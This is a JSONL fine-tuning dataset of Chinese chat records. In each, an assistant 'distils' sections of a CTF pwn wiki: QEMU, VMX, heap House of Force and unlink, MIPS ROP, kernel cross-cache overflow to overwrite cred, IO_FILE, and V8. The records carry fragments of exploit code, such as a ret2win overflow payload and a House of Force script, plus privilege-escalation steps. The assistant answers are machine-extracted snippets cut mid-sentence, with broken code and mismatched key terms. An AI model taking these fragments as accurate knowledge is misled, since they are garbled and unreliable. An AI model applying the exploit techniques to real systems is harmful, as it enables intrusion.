IO 处理", "heading_path": ["QEMU 设备模拟", "QEMU 设备 IO 处理"], "original_id": "docs-0b0a89a08179ecbd5247", "original_line": 78, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/basic-knowledge/dev.md", "source_root": "docs", "source_sha256": "41590b7d3b5bf28fb92791006d4d4424426415991f7ae4cd6f8fc7e877f50dd1", "split": "train", "split_group_key": "e72e1fbd3451e465dc98a516", "subcategory": "pwn/virtualization/qemu", "terms": ["pwn", "virtualization", "qemu", "basic-knowledge", "code:c"], "title": "QEMU 设备模拟"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/basic-knowledge/dev.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2067ec24a8065df2db38", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md` 中的章节「VMX 操作模式」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md`\n标题：CPU 虚拟化\n章节：CPU 虚拟化 > 硬件辅助虚拟化 > VMX 操作模式\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“VMX 操作模式”展开。\n- > > 每个 MSR 寄存器都会有一个 id，称之为 MSR Index，我们可以通过这个 id 来利用 RDMSR 与 WRMSR 指令读写指定的 MSR 寄存器。\n- 作为传统的 IA32 架构的扩展，VMX 操作模式在默认下是关闭的，只有当 VMM 需要使用硬件辅助虚拟化功能时才会使用 Intel 提供的两条新指令来开关 VMX 操作模式： - VMXON：开启 VMX 操作模式。\n- VMM 可以通过 VM entries 进入 Guest VM（单次只能执行一个 VM），VMM 通过 VMLAUNCH （第一次进入 VM）与 VMRESUME （从 VMM 中恢复到 VM）指令来使能 VM entry，通过 VM exits 重获控制权。\n- 根据需要通过写 VMCS 的 VM-entry Interrucption-Information 向 VM 进行事件注入（如异常、异步中断等）。\n- > > 我们可以在 Intel SDM 的 Volume 4 中获取到到 MSR 寄存器的详细信息。\n\n关键术语：\n- 漏洞利用\n- pwn\n- virtualization\n- basic-knowledge\n- cpu-virtualization.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1363, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "VMX 操作模式", "heading_path": ["CPU 虚拟化", "硬件辅助虚拟化", "VMX 操作模式"], "original_id": "docs-01656477cc09c89a0c6b", "original_line": 1406, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/cpu-virtualization.md", "source_root": "docs", "source_sha256": "62195df706a3b215353c99b8c10a0bc6fd7a8ba0630c446bc0dd344eae945033", "split": "train", "split_group_key": "4849209029ff5583e6815b23", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["漏洞利用", "pwn", "virtualization", "basic-knowledge", "cpu-virtualization.md"], "title": "CPU 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/cpu-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2112b60e5ed75f797e92", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「top chunk's offset to heap base」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`\n标题：House Of Force\n章节：top chunk's offset to heap base\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“top chunk's offset to heap base”展开。\n- offset_to_heap_base = -(0x40 + 0x20) malloc_size = offset_to_heap_base - 0x8 - 0xf #gdb.attach(r) additem(malloc_size, \"dada\") additem(0x10, p64(magic) * 2) print r.recv() r.interactive() ``` 当然，这一题也可以使用 unlink 的方法来做。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 219, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "top chunk's offset to heap base", "heading_path": ["top chunk's offset to heap base"], "original_id": "docs-289d4dc3684e0ce4daf8", "original_line": 984, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "source_root": "docs", "source_sha256": "27e5d508f1506ce1b54b9cd5ee0beed81d03242b5dc58c99c27d5a4a84d6cfa9", "split": "train", "split_group_key": "13a87897603f37dcd4975bdc", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "House Of Force"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2196a5229cf98443bdd0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md` 中的章节「轻量级的检测」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md`\n标题：释放内存块\n章节：释放内存块 > _int_free > 合并非 mmap 的空闲 chunk > 轻量级的检测\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“轻量级的检测”展开。\n- ``c++ / Lightweight tests: check whether the block is already the top block. / // 当前free的chunk不能是top chunk if (__glibc_unlikely(p == av->top)) { errstr = \"double free or corruption (top)\";\n- } // 当前要free的chunk的使用标记没有被标记，double free / Or whether the block is actually not marked used. / if (__glibc_unlikely(!\n- prev_inuse(nextchunk))) { errstr = \"double free or corruption (!\n- } // 下一个chunk的大小 nextsize = chunksize(nextchunk);\n- } // 当前free的chunk的下一个chunk不能超过arena的边界 / Or whether the next chunk is beyond the boundaries of the arena. / if (__builtin_expect(contiguous(av) && (char ) nextchunk >= ((char ) av->top + chunksize(av->top)), 0)) { errstr = \"double free or corruption (out)\";\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 32 行，首行 `/* Lightweight tests: check whether the block is already the`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1042, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "轻量级的检测", "heading_path": ["释放内存块", "_int_free", "合并非 mmap 的空闲 chunk", "轻量级的检测"], "original_id": "docs-12cf961f9e50f83bcc09", "original_line": 1133, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "source_root": "docs", "source_sha256": "1d6be6f5b7f2621b4a2b531049a02b0da7c6d59e797566776ae9571a59d5660e", "split": "train", "split_group_key": "2bfacc82412b2183e85931b0", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "释放内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2197e847b662495c4367", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/mips/rop.md` 中的章节「1 ropemporium ret2text」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/mips/rop.md`\n标题：mips - ROP\n章节：mips - ROP > 题目 > 1 ropemporium ret2text\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“1 ropemporium ret2text”展开。\n- 所以我们可以构造如下 payload： `python pay = 'A'*36 + p32(ret2win_addr) `` 即能 get flag [图片: image-20201028012453672;\n- 文件: https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/20201028011258.png] 在看该函数里的 read， a2 为读取的 size 大小，将被赋值为 0x38，buf 为位于 $sp + 0x18 的位置，明显的一个栈溢出漏洞，且能覆盖返回地址。\n- 通过计算，可以计算出 padding 为 36 `` 60 - 0x18 = 36 ` 另外程序有一个 ret2win 函数 [图片: image-20201028011734928;\n- 文件: https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/20201028010554.png] 我们可以看到函数一开始，将 ra 寄存器的值，放入 $sp+60 的位置里。\n- 跟到 pwnme 函数里 [图片: image-20201028010553089;\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:python\n\n代码/命令片段线索：\n- plain: 1 行，首行 `60 - 0x18 = 36`\n- python: 1 行，首行 `pay = 'A'*36 + p32(ret2win_addr)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 739, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "1 ropemporium ret2text", "heading_path": ["mips - ROP", "题目", "1 ropemporium ret2text"], "original_id": "docs-1556fbc9408083cfb146", "original_line": 1239, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/mips/rop.md", "source_root": "docs", "source_sha256": "a60db714f9f9eeeed711316b4fed592f38bc0a546e6346e373edf68f83a6b81d", "split": "train", "split_group_key": "49fa1ced9b22f6b1f6f92cef", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:python"], "title": "mips - ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/mips/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-21a385e07066b82d41a6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/introduction.md` 中的章节「常用代码模板」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/introduction.md`\n标题：简介\n章节：简介 > 常用代码模板\n路径分类：pwn / pwn/linux/kernel-mode\n分块：5/5\n\n核心知识点：\n- 本节主题围绕“常用代码模板”展开。\n- #endif `` 在后续的漏洞利用的 exp 编写当中，我们也会借用到该文件中的部分内容（或是直接 include` 为我们的 exp 的一部分）。\n- void (wait_until_sent)(struct tty_struct tty, int timeout);\n- If the pages in the pipe belong to a file system, we may need to wait for IO completion in this hook.\n- dio_copy.src = (unsigned long long) temp_page_for_stuck;\n- uffdio_copy.dst = (unsigned long long) msg.arg.pagefault.address & ~(0x1000 - 1);\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4838, "chunk_count": 5, "chunk_index": 4, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "常用代码模板", "heading_path": ["简介", "常用代码模板"], "original_id": "docs-ad5067c0b4dbc08c4db9", "original_line": 722, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/introduction.md", "source_root": "docs", "source_sha256": "00cdabd2da625d9d761c472642a9afa558f81201029fcfc1d5ca4af3c822c5d7", "split": "train", "split_group_key": "72ec51d5a65c044ab6114be5", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-21da5893f295c87cccab", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md` 中的章节「fileno 与缓冲区的相关利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md`\n标题：glibc 2.24下 IO_FILE 的利用\n章节：glibc 2.24下 IO_FILE 的利用 > 新的利用技术 > fileno 与缓冲区的相关利用\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“fileno 与缓冲区的相关利用”展开。\n- `` 因为进程中包含了系统默认的三个文件流stdin\\stdout\\stderr，因此这种方式可以不需要进程中存在文件操作，通过scanf\\printf一样可以进行利用。\n- 在vtable难以被利用之后，利用的关注点从vtable转移到_IO_FILE结构内部的域中。\n- 前面介绍过_IO_FILE在使用标准IO库时会进行创建并负责维护一些相关信息，其中有一些域是表示调用诸如fwrite、fread等函数时写入地址或读取地址的，如果可以控制这些数据就可以实现任意地址写或任意地址读。\n- 在_IO_FILE中_IO_buf_base表示操作的起始地址，_IO_buf_end表示结束地址，通过控制这两个数据可以实现控制读写的操作。\n- `` struct _IO_FILE { int _flags;\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- io-file\n\n代码/命令片段线索：\n- plain: 22 行，首行 `struct _IO_FILE {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1383, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "fileno 与缓冲区的相关利用", "heading_path": ["glibc 2.24下 IO_FILE 的利用", "新的利用技术", "fileno 与缓冲区的相关利用"], "original_id": "docs-7e82599fd25402eea3ae", "original_line": 1195, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/exploit-in-libc2.24.md", "source_root": "docs", "source_sha256": "f033c1e253d390d1a6248d6f91cfd97718ad7e8293eb2fe6d8fa326592f01bf0", "split": "train", "split_group_key": "6f5f575e0e750a8db73ea3ec", "subcategory": "pwn/linux/user-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "user-mode", "io-file"], "title": "glibc 2.24下 IO_FILE 的利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/exploit-in-libc2.24.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-22bccc49ce43eb8a06e9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「古老的 unlink」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：Unlink > 原理 > 古老的 unlink\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“古老的 unlink”展开。\n- `` 这里我们以 32 位为例，假设堆内存最初的布局是下面的样子 [图片文件: ./figure/old_unlink_vul.png] 现在有物理空间连续的两个 chunk（Q，Nextchunk），其中 Q 处于使用状态、Nextchunk 处于释放状态。\n- 那么如果我们通过某种方式（比如溢出）将 Nextchunk 的 fd 和 bk 指针修改为指定的值。\n- 则当我们free(Q)时 - glibc 判断这个块是 small chunk - 判断前向合并，发现前一个 chunk 处于使用状态，不需要前向合并 - 判断后向合并，发现后一个 chunk 处于空闲状态，需要合并 - 继而对 Nextchunk 采取 unlink 操作 那么 unlink 具体执行的效果是什么样子呢？\n- 我们可以来分析一下 - FD=P->fd = target addr -12 - BK=P->bk = expect value - FD->bk = BK，即 (target addr-12+12)=BK=expect value - BK->fd = FD，即(expect value +8) = FD = target addr-12 看起来我们似乎可以通过 unlink 直接实现任意地址读写的目的，但是我们还是需要确保 expect value +8 地址具有可写的权限。\n- ``c // 由于 P 已经在双向链表中，所以有两个地方记录其大小，所以检查一下其大小是否一致(size检查) if (__builtin_expect (chunksize(P) !\n\n关键术语：\n- 边界/溢出\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 12 行，首行 `// 由于 P 已经在双向链表中，所以有两个地方记录其大小，所以检查一下其大小是否一致(size检查)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1381, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "古老的 unlink", "heading_path": ["Unlink", "原理", "古老的 unlink"], "original_id": "docs-9ed107a338c941e850bf", "original_line": 1070, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "43054a037cb104ab8373a4e8", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-22d7c15c1676181b11aa", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「QCOW2 格式」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`\n标题：搭建内核运行环境\n章节：搭建内核运行环境 > 使用 BusyBox 搭建基本的文件系统 > 打包文件系统 > QCOW2 格式\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“QCOW2 格式”展开。\n- QEMU Copy-on-Write version 2 QCOW2 是 QEMU 的一种常用的硬盘镜像格式，我们可以使用如下命令创建一个指定大小的 QCOW2 镜像文件：\n- ``shell $ qemu-img create -f qcow2 rootfs.qcow2 8M ``\n- > 在此之前你可能需要手动启用如下内核模块： > > ``shell > $ sudo modprobe nbd > ``\n- ``shell $ sudo qemu-nbd -c /dev/nbd0 ./rootfs.qcow2 ``\n- ``shell $ sudo cp -auv _install/* /mnt $ sudo chown -R root:root /mnt/ $ sudo chmod 700 /mnt/root $ sudo chown -R 1000:1000 /mnt/home/ctf/ ``\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:shell\n\n代码/命令片段线索：\n- shell: 1 行，首行 `$ qemu-img create -f qcow2 rootfs.qcow2 8M`\n- shell: 2 行，首行 `> $ sudo modprobe nbd`\n- shell: 1 行，首行 `$ sudo qemu-nbd -c /dev/nbd0 ./rootfs.qcow2`\n- shell: 1 行，首行 `$ sudo mkfs.ext4 /dev/nbd0`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 677, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "QCOW2 格式", "heading_path": ["搭建内核运行环境", "使用 BusyBox 搭建基本的文件系统", "打包文件系统", "QCOW2 格式"], "original_id": "docs-17e0e4fbf60ad1323879", "original_line": 708, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "source_root": "docs", "source_sha256": "2fa691a5b11d1005a314edb20f4c495317ae5eae73c85043729f5edb33b5ef31", "split": "train", "split_group_key": "4222261504dab9eb54a6aeee", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment", "code:shell"], "title": "搭建内核运行环境"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2302ddd678aefa0e68ac", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「Step.II - page-level heap fengshui」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`\n标题：Cross-Cache Overflow & Page-level Heap Fengshui\n章节：Cross-Cache Overflow & Page-level Heap Fengshui > 例题：corCTF2022 - cache-of-castaways > 漏洞利用 > Step.II - page-level heap fengshui\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Step.II - page-level heap fengshui”展开。\n- setsockopt() 也可以帮助我们完成页级堆风水，当我们耗尽 buddy system 中的 low order pages 后，我们再请求的页面便都是物理连续的，因此此时我们再进行 setsockopt() 便相当于获取到了一块近乎物理连续的内存（为什么是”近乎连续“是因为大量的 setsockopt() 流程中同样会分配大量我们不需要的结构体，从而消耗 buddy system 的部分页面）。\n- 释放掉之前的间隔内存页，调用漏洞函数分配堆块，这样便有几率获取到我们释放的间隔内存页。\n- 利用模块中漏洞进行越界写，篡改 cred->uid ，完成提权。\n- 间隔一张内存页释放掉部分单张内存页，之后堆喷 cred，这样便有几率获取到我们释放的单张内存页。\n- 我们的子进程需要轮询等待自己的 uid 变为 root，但是这种做法并不优雅：) ，所以笔者这里选择用一个新的管道在主进程与子进程间通信，当子进程从管道中读出1字节时便开始检查自己是否成功提权，若未提权则直接 sleep 即可。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 593, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "Step.II - page-level heap fengshui", "heading_path": ["Cross-Cache Overflow & Page-level Heap Fengshui", "例题：corCTF2022 - cache-of-castaways", "漏洞利用", "Step.II - page-level heap fengshui"], "original_id": "docs-86f5a45c4bc5dc27a923", "original_line": 734, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "source_root": "docs", "source_sha256": "a2c8dfa6b0a89023b0f0db82bad6de6ee6403266bdc7488673a702ae7cd05846", "split": "train", "split_group_key": "2d173fcce5ac92afe5b5dd3c", "subcategory": "pwn/linux/kernel-mode", "terms": ["边界/溢出", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Cross-Cache Overflow & Page-level Heap Fengshui"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-23ccea6bc21436842d6b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/browser/chrome/js-engine/v8.md` 中的章节「架构 & 编译管线」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/browser/chrome/js-engine/v8.md`\n标题：V8 Engine Intro\n章节：V8 Engine Intro > 架构 & 编译管线\n路径分类：pwn / pwn/browser/chrome\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“架构 & 编译管线”展开。\n- [图片文件: https://s2.loli.net/2025/03/09/Jx1al6Qbemqhuig.png]\n- - 读入 JavaScript 源码后，Parser 首先会将其解析成 AST 这样的中间表示 - 中间表示会交给名为 Ignition Interpreter 的解释器进行翻译，生成简洁的字节码（大小仅为基准机器码的 25～50%） - JavaScript 是一门解释型语言，因此完成字节码翻译后会由 Ignition 进行解释执行 - 对于高频执行的或是处于其他原因被认为需要优化的代码，Ignition Interpreter 会将翻译后的字节码交由 TurboFan Compiler 进行即时编译（Ju...\n- 此外，V8 Engine 当中还有一个特殊的设计叫 Deoptimization ：将 TurboFan 生成的机器码 _反向翻译回字节码，重新交回 Ignition 解释执行_ ，这通常出现于以下两种场景：\n- - Eager Deoptimization：在类似 JIT code 执行出错（例如动态检查未通过）的情况下会出现，此时会立即放弃执行 JIT code，调用 deoptimizer 翻译回 bytecode，再交由 interpreter 解释执行 - Lazy Deoptimization：例如某个全局变量发生了改变，依赖该变量的代码会被认为需要 deoptimization，但只会先进行 patch，在执行到对应代码时再调用 deoptimizer\n\n关键术语：\n- 修复/缓解\n- pwn\n- browser\n- chrome\n- js-engine\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 906, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "架构 & 编译管线", "heading_path": ["V8 Engine Intro", "架构 & 编译管线"], "original_id": "docs-3a7ca05962c6dd81e80e", "original_line": 632, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/v8.md", "source_root": "docs", "source_sha256": "169e47f9ecb775c90a1b2d63ab06f2620027a3e063940944f5ec53473c27ba0b", "split": "train", "split_group_key": "959cbd48e7cd22d655e0ee87", "subcategory": "pwn/browser/chrome", "terms": ["修复/缓解", "pwn", "browser", "chrome", "js-engine"], "title": "V8 Engine Intro"}, "source_dataset": 